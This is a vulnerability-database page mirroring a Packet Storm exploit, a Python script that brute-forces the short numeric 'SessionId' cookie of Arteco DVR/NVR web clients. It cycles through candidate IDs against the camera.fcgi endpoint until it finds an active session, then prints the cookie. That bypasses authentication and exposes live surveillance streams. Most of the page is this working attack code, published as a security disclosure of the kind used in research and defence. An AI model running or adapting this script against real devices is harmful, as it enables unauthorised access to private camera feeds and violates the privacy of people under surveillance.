Lucene search
K

Arteco Web Client DVR/NVR Session Hijacking

🗓️ 24 Dec 2020 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 235 Views

Arteco DVR/NVR Session Hijacking via Insufficient Length Session I

Code
`#!/usr/bin/env python3  
#  
#  
# Arteco Web Client DVR/NVR 'SessionId' Cookie Brute Force Session Hijacking Exploit  
#  
#  
# Vendor: Arteco S.U.R.L.  
# Product web page: https://www.arteco-global.com  
# Affected version: n/a  
#  
# Summary: Arteco DVR/NVR is a mountable industrial surveillance server  
# ideal for those who need to manage IP video surveillance designed for  
# medium to large installations that require high performance and reliability.  
# Arteco can handle IP video sources from all major international manufacturers  
# and is compatible with ONVIF and RTSP devices.  
#  
# Desc: The Session ID 'SessionId' is of an insufficient length and can be  
# exploited by brute force, which may allow a remote attacker to obtain a  
# valid session, bypass authentication and disclose the live camera stream.  
#  
# Tested on: Microsoft Windows 10 Enterprise  
# Apache/2.4.39 (Win64) OpenSSL/1.0.2s  
# Apache/2.2.29 (Win32) mod_fastcgi/2.4.6 mod_ssl/2.2.29 OpenSSL/1.0.1m  
# Arteco-Server  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2020-5613  
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5613.php  
#  
#  
# 16.11.2020  
#  
  
import sys,requests  
  
class BrutusCookius:  
  
def __init__(self):  
self.validate=None  
self.cookies=None#  
self.params=None##  
self.stream=None##  
self.path=None####  
self.cgi=None#####  
self.ip=None######  
self.op=None######  
  
def check(self):  
print('Usage: ./arteco.py IP')  
exit(9)  
  
def bro(self):  
if len(sys.argv) !=2:  
self.check()  
else:   
self.ip=sys.argv[1]  
print('[+] Target IP: '+self.ip)  
if not 'http' in self.ip:  
self.ip='http://{}'.format(self.ip)  
  
def force(self):  
  
# Check the Set-Cookie on the target and determine the length (varies per model/version)  
# Cookie: SessionId=15800 - range(10000,100000)  
# Cookie: SessionId=8350 - range(1000,10000)  
# Cookie: SessionId=502 - range(100,1000)  
  
self.op = range(17129,17149) # Tweak  
for j in self.op:  
session=requests.session()  
self.cookies=dict(SessionId=str(j))  
sys.stdout.write('[+] Trying ID: '+str(j))  
self.path='/arteco-mobile/'  
self.cgi='camera.fcgi'  
self.params='?serverId=1&camera=2&mode=1&szx=5&szy=5&qty=15&fps=1'  
self.validate=session.get(self.ip+self.path+self.cgi+self.params, cookies=self.cookies).headers  
if not 'artecomobile' in str(self.validate):  
print(' - NOPE.')  
else:  
print(' - BINGO!!!')  
print('[+] Active session found: '+str(j))  
print('[+] Use the cookie: SessionId='+str(j))  
exit(9)  
print('[!] Sorry, no valid session found.')  
  
def main(self):  
self.bro()  
self.force()  
  
if __name__ == '__main__':  
BrutusCookius().main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation